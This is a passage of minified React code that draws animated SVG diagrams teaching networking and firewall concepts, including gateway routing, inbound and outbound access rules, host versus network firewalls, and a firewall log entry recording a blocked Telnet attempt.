DEFENSE-IN-DEPTH`}),(0,k.jsx)(`text`,{x:`357`,y:`36`,fill:`#0f172a`,fontSize:`7.5`,children:`1. Tier 1 (Presentation): Public Web Servers reside in DMZ.`}),(0,k.jsx)(`text`,{x:`357`,y:`52`,fill:`#0f172a`,fontSize:`7.5`,children:`2. Tier 2 (Application/DB): Database servers reside in Internal LAN.`}),(0,k.jsx)(`text`,{x:`357`,y:`68`,fill:`#0f172a`,fontSize:`7.5`,children:`3. Web server queries DB on restricted port 1433 via firewall.`}),(0,k.jsx)(`text`,{x:`357`,y:`84`,fill:`#0f172a`,fontSize:`7.5`,children:`4. Isolation ensures an exploited web server cannot sniff DB traffic.`}),(0,k.jsx)(`text`,{x:`357`,y:`105`,fill:`#15803d`,fontSize:`7.5`,fontWeight:`bold`,children:`Enterprise standard for e-commerce and banking apps.`})]})]})]})},cn=({currentStepIndex:e})=>{let t=e>=2,n=e>=3,r=e>=4,i=e>=5,a=e>=6,o=e>=7&&e<=16,s=e>=17,c=70;e===7||e===8?c=70:e===9?c=145:e===10?c=220:e===11?c=300:e===12||e===13?c=380:e===14?c=460:e===15?c=570:e>=16&&(c=670);let l=670;return e===17?l=670:e===18?l=380:e>=19&&(l=70),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[a&&(0,k.jsx)(`line`,{x1:`70`,y1:`75`,x2:`670`,y2:`75`,stroke:`#cbd5e1`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),e===9&&(0,k.jsx)(A,{x1:95,y1:75,x2:195,y2:75,color:`#2563eb`,label:`TO GATEWAY →`}),e===11&&(0,k.jsx)(A,{x1:245,y1:75,x2:355,y2:75,color:`#0891b2`,label:`ROUTED →`}),e===14&&(0,k.jsx)(A,{x1:405,y1:75,x2:515,y2:75,color:`#10b981`,label:`PERMITTED →`}),e===15&&(0,k.jsx)(A,{x1:545,y1:75,x2:645,y2:75,color:`#10b981`,label:`TO SERVER →`}),e===18&&(0,k.jsx)(A,{x1:645,y1:75,x2:95,y2:75,color:`#8b5cf6`,label:`← RETURN TRIP TO LAPTOP`}),(0,k.jsx)(M,{cx:70,cy:75,label:`LAPTOP`,ip:`192.168.1.50/24`,active:e<=9||e>=19,statusText:e>=19?`DELIVERED ✓`:void 0}),t&&(0,k.jsx)(F,{cx:220,cy:75,label:`DEFAULT GATEWAY`,sub:`192.168.1.1`,active:e>=9&&e<=11}),n&&(0,k.jsx)(N,{cx:380,cy:75,label:`FIREWALL`,sub:`Egress Policy`,active:e>=11&&e<=14,success:e>=13}),r&&(0,k.jsxs)(`g`,{children:[(0,k.jsx)(`circle`,{cx:530,cy:75,r:24,fill:`#eff6ff`,stroke:`#3b82f6`,strokeWidth:`2`}),(0,k.jsx)(`text`,{x:530,y:72,textAnchor:`middle`,fill:`#0f172a`,fontSize:`8`,fontWeight:`bold`,children:`INTERNET`}),(0,k.jsx)(`text`,{x:530,y:83,textAnchor:`middle`,fill:`#64748b`,fontSize:`6.5`,fontFamily:`monospace`,children:`Public WAN`})]}),i&&(0,k.jsx)(P,{cx:670,cy:75,label:`REMOTE SERVER`,sub:`198.51.100.20:443`,active:e>=15&&e<=17,success:e>=16,statusText:e>=16?`HTTP 200 OK`:`STANDBY`}),o&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:c,cy:28,title:e>=13?`PERMITTED`:e>=9?`TO GATEWAY`:`TCP SYN`,protocol:`TCP`,port:`443`,src:`192.168.1.50`,dst:`198.51.100.20`,status:e===12?`INSPECT`:e>=13?`ALLOW`:`NORMAL`,scale:.76})}),s&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:l,cy:28,title:`HTTP 200 OK`,protocol:`TCP`,port:`52000`,src:`198.51.100.20`,dst:`192.168.1.50`,status:`ALLOW`,scale:.76})}),(0,k.jsxs)(`g`,{transform:`translate(30, 145)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`185`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:e===8?`STEP 8: HOST SUBNET CALCULATION (BINARY AND OPERATION)`:e>=10&&e<=11?`STEP 10: DEFAULT GATEWAY FORWARDS OFF-SUBNET PACKET TO FIREWALL`:e>=12&&e<=13?`STEP 12: FIREWALL INSPECTS & PERMITS OUTBOUND EGRESS SESSION`:`DEFAULT GATEWAY & FIREWALL INTERACTION ARCHITECTURE`}),e===8?(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`130`,rx:`6`,fill:`#f0f9ff`,stroke:`#7dd3fc`,strokeWidth:`1.5`}),(0,k.jsx)(`text`,{x:`14`,y:`20`,fill:`#0369a1`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`HOW ENDPOINTS DETERMINE GATEWAY USAGE:`}),(0,k.jsx)(`text`,{x:`14`,y:`42`,fill:`#0f172a`,fontSize:`8`,children:`1. Host IP (192.168.1.50) AND Subnet Mask (255.255.255.0) = Local Subnet: 192.168.1.0/24`}),(0,k.jsx)(`text`,{x:`14`,y:`60`,fill:`#0f172a`,fontSize:`8`,children:`2. Target IP (198.51.100.20) AND Subnet Mask (255.255.255.0) = Target Subnet: 198.51.100.0/24`}),(0,k.jsx)(`text`,{x:`14`,y:`80`,fill:`#dc2626`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`3. RESULT: Local Subnet != Target Subnet → Destination is REMOTE (Off-Subnet).`}),(0,k.jsx)(`text`,{x:`14`,y:`105`,fill:`#15803d`,fontSize:`8`,fontWeight:`bold`,children:`Host automatically encapsulates frame with Destination MAC = Default Gateway (192.168.1.1).`})]}):(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`325`,height:`130`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#0369a1`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`LOCAL vs REMOTE TRAFFIC`}),(0,k.jsx)(`text`,{x:`12`,y:`36`,fill:`#0f172a`,fontSize:`7.5`,children:`1. Local Destination (Same Subnet):`}),(0,k.jsx)(`text`,{x:`12`,y:`50`,fill:`#64748b`,fontSize:`7.5`,children:`   Direct Layer 2 ARP & switch delivery (Gateway bypassed).`}),(0,k.jsx)(`text`,{x:`12`,y:`66`,fill:`#0f172a`,fontSize:`7.5`,children:`2. Remote Destination (Outside Subnet):`}),(0,k.jsx)(`text`,{x:`12`,y:`80`,fill:`#64748b`,fontSize:`7.5`,children:`   Host forwards frame to Default Gateway MAC address.`}),(0,k.jsx)(`text`,{x:`12`,y:`102`,fill:`#0369a1`,fontSize:`7.5`,fontWeight:`bold`,children:`Default route (0.0.0.0/0) provides path to the world.`}),(0,k.jsx)(`rect`,{x:`345`,y:`0`,width:`325`,height:`130`,rx:`6`,fill:`#f0fdf4`,stroke:`#86efac`}),(0,k.jsx)(`text`,{x:`357`,y:`18`,fill:`#15803d`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`GATEWAY + FIREWALL TOPOLOGIES`}),(0,k.jsx)(`text`,{x:`357`,y:`36`,fill:`#0f172a`,fontSize:`7.5`,children:`1. Model A: Firewall IS the Default Gateway (Branch Office).`}),(0,k.jsx)(`text`,{x:`357`,y:`50`,fill:`#64748b`,fontSize:`7.5`,children:`   100% of inter-VLAN and WAN traffic inspected immediately.`}),(0,k.jsx)(`text`,{x:`357`,y:`66`,fill:`#0f172a`,fontSize:`7.5`,children:`2. Model B: Core Switch Gateway + Firewall Next-Hop.`}),(0,k.jsx)(`text`,{x:`357`,y:`80`,fill:`#64748b`,fontSize:`7.5`,children:`   L3 switch handles fast LAN; routes 0.0.0.0/0 to Firewall.`}),(0,k.jsx)(`text`,{x:`357`,y:`102`,fill:`#15803d`,fontSize:`7.5`,fontWeight:`bold`,children:`Both models ensure WAN traffic traverses firewall security.`})]})]})]})},ln=({currentStepIndex:e})=>{let t=e>=16,n=e>=1,r=e>=2,i=e>=3&&!t,a=e>=17,o=80,s=660;return t?(e===18?o=80:e===19?o=230:e>=20&&e<=22?o=370:e===23?o=510:e>=24&&(o=660),e===25?s=370:e>=26&&(s=80)):(e===4?o=80:e===5?o=230:e>=6&&e<=12?o=370:e===13?o=510:e>=14&&(o=660),e===15&&(s=230)),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(i||a)&&(0,k.jsx)(`line`,{x1:`80`,y1:`75`,x2:`660`,y2:`75`,stroke:`#cbd5e1`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),!t&&e===5&&(0,k.jsx)(A,{x1:115,y1:75,x2:325,y2:75,color:`#2563eb`,label:`INBOUND TRANSIT →`}),!t&&e===13&&(0,k.jsx)(A,{x1:415,y1:75,x2:615,y2:75,color:`#10b981`,label:`TO INTERNAL SERVER →`}),!t&&e===15&&(0,k.jsx)(A,{x1:615,y1:75,x2:115,y2:75,color:`#8b5cf6`,label:`← STATEFUL RETURN (AUTO ALLOWED)`}),t&&e===19&&(0,k.jsx)(A,{x1:115,y1:75,x2:325,y2:75,color:`#2563eb`,label:`OUTBOUND EGRESS →`}),t&&e===23&&(0,k.jsx)(A,{x1:415,y1:75,x2:615,y2:75,color:`#10b981`,label:`TO INTERNET SERVER →`}),t&&e>=25&&(0,k.jsx)(A,{x1:615,y1:75,x2:115,y2:75,color:`#8b5cf6`,label:`← STATEFUL RESPONSE TO CLIENT`}),(0,k.jsx)(M,{cx:80,cy:75,label:t?`INTERNAL CLIENT`:`INTERNET USER`,ip:t?`10.0.1.50 (LAN)`:`203.0.113.88 (WAN)`,active:t?e<=19||e>=26:e<=5,statusText:t&&e>=26?`DELIVERED ✓`:void 0}),n&&(0,k.jsx)(N,{cx:370,cy:75,label:`PERIMETER FIREWALL`,sub:t?`Outbound ACL Engine`:`Inbound ACL Engine`,active:!t&&e>=6&&e<=12||t&&e>=20&&e<=22,success:!t&&e>=12||t&&e>=22}),r&&(0,k.jsx)(P,{cx:660,cy:75,label:t?`INTERNET SERVER`:`INTERNAL WEB SERVER`,sub:t?`198.51.100.90:443`:`10.0.1.10 (VIP :443)`,active:!t&&e>=14&&e<=15||t&&e>=24&&e<=25,success:!t&&e>=14||t&&e>=24,statusText:!t&&e>=14||t&&e>=24?`ACCEPTED ✓`:`STANDBY`}),(!t&&e>=4&&e<=14||t&&e>=18&&e<=24)&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:o,cy:28,title:!t&&e>=12||t&&e>=22?`ALLOW ✓`:`HTTPS REQ`,protocol:`TCP`,port:`443`,src:t?`10.0.1.50`:`203.0.113.88`,dst:t?`198.51.100.90`:`198.51.100.10`,status:!t&&e>=6&&e<=11||t&&e>=20&&e<=21?`INSPECT`:`ALLOW`,scale:.78})}),(!t&&e===15||t&&e>=25)&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:s,cy:28,title:`HTTP 200 / ACK`,protocol:`TCP`,port:`443`,src:t?`198.51.100.90`:`10.0.1.10`,dst:t?`10.0.1.50`:`203.0.113.88`,status:`ALLOW`,scale:.78})}),(0,k.jsxs)(`g`,{transform:`translate(30, 145)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`185`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:t?`PART B: OUTBOUND FIREWALL RULES (INTERNAL LAN → EXTERNAL WAN EGRESS)`:`PART A: INBOUND FIREWALL RULES (EXTERNAL WAN → INTERNAL DMZ/SERVER INGRESS)`}),t?(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`130`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#065f46`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`OUTBOUND ACCESS CONTROL LIST (LAN → WAN EGRESS)`}),(0,k.jsxs)(`g`,{transform:`translate(12, 28)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`644`,height:`32`,rx:`4`,fill:e>=22?`#dcfce7`:`#eff6ff`,stroke:e>=22?`#16a34a`:`#3b82f6`,strokeWidth:1.5}),(0,k.jsxs)(`text`,{x:`10`,y:`20`,fill:e>=22?`#15803d`:`#1e40af`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:[`Outbound #10: ALLOW SRC=10.0.1.0/24 DST=ANY:443 PROTO=TCP `,e>=22&&`→ MATCH: PERMIT ✓`]})]}),(0,k.jsx)(`text`,{x:`14`,y:`80`,fill:`#0f172a`,fontSize:`7.5`,children:`• Policy Inspection: Internal employee requests external web SaaS portal; matches approved outbound web policy.`}),(0,k.jsx)(`text`,{x:`14`,y:`98`,fill:`#0f172a`,fontSize:`7.5`,children:`• Security Goal: Outbound filtering blocks malware command-and-control (C2) and stops data exfiltration.`}),(0,k.jsx)(`text`,{x:`14`,y:`118`,fill:`#065f46`,fontSize:`7.5`,fontWeight:`bold`,children:`OUTBOUND SUMMARY: Governs employee web access, DNS queries, and software updates heading out to WAN.`})]}):(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`130`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#1e40af`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`INBOUND ACCESS CONTROL LIST (WAN → LAN/DMZ)`}),(0,k.jsxs)(`g`,{transform:`translate(12, 28)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`644`,height:`32`,rx:`4`,fill:e>=11?`#dcfce7`:`#eff6ff`,stroke:e>=11?`#16a34a`:`#3b82f6`,strokeWidth:1.5}),(0,k.jsxs)(`text`,{x:`10`,y:`20`,fill:e>=11?`#15803d`:`#1e40af`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:[`Inbound #1: ALLOW SRC=ANY DST=198.51.100.10:443 PROTO=TCP `,e>=11&&`→ MATCH: PERMIT ✓`]})]}),(0,k.jsx)(`text`,{x:`14`,y:`80`,fill:`#0f172a`,fontSize:`7.5`,children:`• Field Verification: Source (203.0.113.88 ✓), Dest (198.51.100.10 ✓), Port (:443 ✓).`}),(0,k.jsx)(`text`,{x:`14`,y:`98`,fill:`#0f172a`,fontSize:`7.5`,children:`• Stateful Return Rule: Reply from internal server is AUTOMATICALLY allowed by state table without needing an outbound rule.`}),(0,k.jsx)(`text`,{x:`14`,y:`118`,fill:`#15803d`,fontSize:`7.5`,fontWeight:`bold`,children:`INBOUND SUMMARY: Strictly restricts public access to authorized published services (Ports 80/443/VPN).`})]})]})]})},un=({currentStepIndex:e})=>{let t=e>=10,n=e>=7&&!t,r=e>=11,i=e>=12,a=e>=13,o=80,s=660;return t?(e===14?o=80:e===15?o=140:e===16?o=230:e>=17&&e<=19?o=370:e===20?o=510:e>=21&&(o=660),e===22&&(s=80)):(e<=2||e>=3&&e<=5?o=80:e===6?o=370:e>=7&&(o=660),e===8?s=370:e>=9&&(s=80)),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[!t&&e>=6&&(0,k.jsx)(`line`,{x1:`80`,y1:`75`,x2:`660`,y2:`75`,stroke:`#cbd5e1`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),a&&(0,k.jsx)(`line`,{x1:`80`,y1:`75`,x2:`660`,y2:`75`,stroke:`#cbd5e1`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),!t&&e===6&&(0,k.jsx)(A,{x1:115,y1:75,x2:615,y2:75,color:`#2563eb`,label:`TRANSMITTING ACROSS LAN →`}),!t&&e===8&&(0,k.jsx)(A,{x1:615,y1:75,x2:115,y2:75,color:`#8b5cf6`,label:`← RETURN REPLY`}),t&&e===16&&(0,k.jsx)(A,{x1:115,y1:75,x2:325,y2:75,color:`#2563eb`,label:`TO NETWORK FIREWALL →`}),t&&e===20&&(0,k.jsx)(A,{x1:415,y1:75,x2:615,y2:75,color:`#10b981`,label:`PERMITTED TO SERVER →`}),t&&e>=22&&(0,k.jsx)(A,{x1:615,y1:75,x2:115,y2:75,color:`#8b5cf6`,label:`← STATEFUL RETURN TO CLIENT`}),(0,k.jsxs)(`g`,{children:[(0,k.jsx)(M,{cx:80,cy:75,label:t?`CLIENT LAPTOP`:`HOST OS LAPTOP`,ip:`10.0.1.25`,active:t?e<=15||e>=22:e<=6||e>=9,statusText:!t&&e>=3&&e<=5?`HOST FW: OK ✓`:void 0}),!t&&e>=3&&(0,k.jsxs)(`g`,{transform:`translate(45, 120)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`70`,height:`18`,rx:`4`,fill:`#0f172a`,stroke:`#3b82f6`}),(0,k.jsx)(`text`,{x:`35`,y:`12`,textAnchor:`middle`,fill:`#60a5fa`,fontSize:`7`,fontWeight:`bold`,fontFamily:`monospace`,children:`OS KERNEL FW`})]})]}),r&&(0,k.jsx)(N,{cx:370,cy:75,label:`NETWORK FIREWALL`,sub:e>=17&&e<=19?`Zone Policy & DPI`:`Hardware Appliance`,active:e>=16&&e<=20,success:e>=19}),(!t&&n||t&&i)&&(0,k.jsx)(P,{cx:660,cy:75,label:t?`DATACENTER SERVER`:`LOCAL SERVER`,sub:`10.0.5.100:443`,active:!t&&e>=7||t&&e>=21,success:!t&&e>=7||t&&e>=21,statusText:!t&&e>=7||t&&e>=21?`ACCEPTED ✓`:`STANDBY`}),(!t&&e>=2&&e<=7||t&&e>=14&&e<=21)&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:o,cy:28,title:!t&&e>=5||t&&e>=19?`ALLOW ✓`:`HTTPS REQ`,protocol:`TCP`,port:`443`,src:`10.0.1.25`,dst:`10.0.5.100`,status:!t&&e>=3&&e<=4||t&&e>=17&&e<=18?`INSPECT`:`ALLOW`,scale:.78})}),(!t&&e>=8||t&&e>=22)&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:s,cy:28,title:`HTTP 200 OK`,protocol:`TCP`,port:`443`,src:`10.0.5.100`,dst:`10.0.1.25`,status:`ALLOW`,scale:.78})}),(0,k.jsxs)(`g`,{transform:`translate(30, 145)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`185`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:t?`PART B: NETWORK-BASED FIREWALL (CENTRALIZED HARDWARE APPLIANCE / PERIMETER GATEWAY)`:`PART A: HOST-BASED FIREWALL (LOCAL OS KERNEL / PROCESS-AWARE FILTERING)`}),t?(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`130`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#065f46`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`NETWORK FIREWALL ARCHITECTURE (Palo Alto / Fortinet / Cisco Firepower Appliance)`}),(0,k.jsx)(`text`,{x:`14`,y:`38`,fill:`#0f172a`,fontSize:`7.5`,children:`1. Location: Dedicated inline hardware appliance positioned at enterprise network/subnet boundaries.`}),(0,k.jsx)(`text`,{x:`14`,y:`54`,fill:`#0f172a`,fontSize:`7.5`,children:`2. Scope & Throughput: Protects thousands of downstream hosts with multi-gigabit ASIC acceleration.`}),(0,k.jsx)(`text`,{x:`14`,y:`70`,fill:`#0f172a`,fontSize:`7.5`,children:`3. Centralized Control: Enforces uniform corporate security policies, zone segmentation, and Deep Packet Inspection (DPI).`}),(0,k.jsx)(`text`,{x:`14`,y:`88`,fill:`#15803d`,fontSize:`7.5`,fontWeight:`bold`,children:`• Enterprise Policy Match: Zone User-LAN → Datacenter permitted (HTTPS + App-ID verified).`}),(0,k.jsx)(`text`,{x:`14`,y:`110`,fill:`#065f46`,fontSize:`7.5`,fontWeight:`bold`,children:`DEFENSE-IN-DEPTH: Network firewalls protect the enterprise perimeter; Host firewalls protect against lateral spread.`})]}):(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`130`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#1e40af`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`HOST FIREWALL ARCHITECTURE (Windows Defender / Linux iptables / macOS PF)`}),(0,k.jsx)(`text`,{x:`14`,y:`38`,fill:`#0f172a`,fontSize:`7.5`,children:`1. Location: Installed directly inside the local Operating System kernel on the endpoint.`}),(0,k.jsx)(`text`,{x:`14`,y:`54`,fill:`#0f172a`,fontSize:`7.5`,children:"2. Process Awareness: Knows the exact executable name (\\`browser.exe\\`), local user ID, and active socket PID."}),(0,k.jsx)(`text`,{x:`14`,y:`70`,fill:`#0f172a`,fontSize:`7.5`,children:`3. Lateral Movement Defense: Protects against attacks originating from other infected hosts on the same local switch subnet.`}),(0,k.jsx)(`text`,{x:`14`,y:`88`,fill:`#15803d`,fontSize:`7.5`,fontWeight:`bold`,children:`• Host Rule Match: Outbound process 'browser.exe' permitted on port 443 → Packet exits physical NIC.`}),(0,k.jsx)(`text`,{x:`14`,y:`110`,fill:`#1e40af`,fontSize:`7.5`,fontWeight:`bold`,children:`SUMMARY: Host firewalls protect individual endpoints from local lateral attacks.`})]})]})]})},dn=({currentStepIndex:e})=>{let t=e>=1,n=e>=2,r=e>=3,i=e>=8,a=e>=10,o=80;return e===4?o=80:e===5?o=230:e>=6&&(o=370),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[r&&(0,k.jsx)(`line`,{x1:`80`,y1:`75`,x2:`660`,y2:`75`,stroke:`#cbd5e1`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),e===5&&(0,k.jsx)(A,{x1:115,y1:75,x2:325,y2:75,color:`#ef4444`,label:`TELNET ATTEMPT →`}),(0,k.jsx)(M,{cx:80,cy:75,label:`CLIENT`,ip:`192.168.1.50`,active:e<=5}),t&&(0,k.jsx)(N,{cx:370,cy:75,label:`FIREWALL`,sub:i?`DROPPED ✕`:e>=6?`INSPECTING`:`Syslog Engine`,active:e>=5,success:!1}),n&&(0,k.jsx)(P,{cx:660,cy:75,label:`TARGET SERVER`,sub:`10.0.5.100:23`,active:!1,success:!1,statusText:`UNREACHED (SECURE)`}),e>=4&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:o,cy:28,title:i?`BLOCKED ✕`:`TELNET SYN`,protocol:`TCP`,port:`23`,src:`192.168.1.50`,dst:`10.0.5.100`,status:i?`DENY`:e>=6?`INSPECT`:`NORMAL`,scale:.78})}),(0,k.jsxs)(`g`,{transform:`translate(30, 145)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`185`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:`FIREWALL FORENSIC SYSLOG AUDIT & 5-TUPLE LOG ANALYSIS`}),a?(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`34`,rx:`4`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`12`,y:`21`,fill:`#f87171`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`Oct 01 14:00:05 fw01 %ASA-4-106023: Deny tcp src trust:192.168.1.50/49152 dst dmz:10.0.5.100/23 by access-group "Block_Telnet_405"`}),(0,k.jsxs)(`g`,{transform:`translate(0, 44)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`125`,height:`38`,rx:`4`,fill:e===12?`#fee2e2`:`#f8fafc`,stroke:e===12?`#ef4444`:`#e2e8f0`,strokeWidth:e===12?2:1}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#64748b`,fontSize:`7`,fontWeight:`bold`,fontFamily:`monospace`,children:`SOURCE IP`}),(0,k.jsxs)(`text`,{x:`10`,y:`28`,fill:`#0f172a`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:[`192.168.1.50 `,e===12&&`🔍`]}),(0,k.jsx)(`rect`,{x:`135`,y:`0`,width:`125`,height:`38`,rx:`4`,fill:e===13?`#fee2e2`:`#f8fafc`,stroke:e===13?`#ef4444`:`#e2e8f0`,strokeWidth:e===13?2:1}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#64748b`,fontSize:`7`,fontWeight:`bold`,fontFamily:`monospace`,children:`DESTINATION IP`}),(0,k.jsxs)(`text`,{x:`10`,y:`28`,fill:`#0f172a`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:[`10.0.5.100 `,e===13&&`🔍`]}),(0,k.jsx)(`rect`,{x:`270`,y:`0`,width:`125`,height:`38`,rx:`4`,fill:e===14?`#fee2e2`:`#f8fafc`,stroke:e===14?`#ef4444`:`#e2e8f0`,strokeWidth:e===14?2:1}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#64748b`,fontSize:`7`,fontWeight:`bold`,fontFamily:`monospace`,children:`PORT / PROTO`}),(0,k.jsxs)(`text`,{x:`10`,y:`28`,fill:`#0f172a`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:[`TCP :23 (Telnet) `,e===14&&`🔍`]}),(0,k.jsx)(`rect`,{x:`405`,y:`0`,width:`125`,height:`38`,rx:`4`,fill:e===15?`#fee2e2`:`#f8fafc`,stroke:e===15?`#ef4444`:`#e2e8f0`,strokeWidth:e===15?2:1}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#64748b`,fontSize:`7`,fontWeight:`bold`,fontFamily:`monospace`,children:`ACTION`}),(0,k.jsxs)(`text`,{x:`10`,y:`28`,fill:`#dc2626`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:[`DENY / DROP `,e===15&&`✕`]}),(0,k.jsx)(`rect`,{x:`540`,y:`0`,width:`128`,height:`38`,rx:`4`,fill:e===16?`#dcfce7`:`#f8fafc`,stroke:e===16?`#16a34a`:`#e2e8f0`,strokeWidth:e===16?2:1}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#64748b`,fontSize:`7`,fontWeight:`bold`,fontFamily:`monospace`,children:`RULE MATCHED`}),(0,k.jsxs)(`text`,{x:`10`,y:`28`,fill:`#15803d`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:[`Rule_Telnet_405 `,e===16&&`✓`]})]}),(0,k.jsxs)(`g`,{transform:`translate(0, 92)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`38`,rx:`4`,fill:`#eff6ff`,stroke:`#93c5fd`}),(0,k.jsx)(`text`,{x:`12`,y:`16`,fill:`#1e40af`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`FORENSIC TRAIL: TRAFFIC ATTEMPT → SECURITY POLICY BLOCK → AUDIT LOG GENERATED → SIEM INVESTIGATION`}),(0,k.jsx)(`text`,{x:`12`,y:`28`,fill:`#0f172a`,fontSize:`7`,children:`Firewall logs prove non-compliance, isolate unauthorized endpoints, and provide legal audit evidence.`})]})]}):(0,k.jsxs)(`g`,{transform:`translate(16, 40)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`120`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`14`,y:`24`,fill:`#64748b`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`Awaiting Traffic Transmission & Security Policy Drop...`}),(0,k.jsx)(`text`,{x:`14`,y:`48`,fill:`#0f172a`,fontSize:`8`,children:`1. Client sends cleartext Telnet 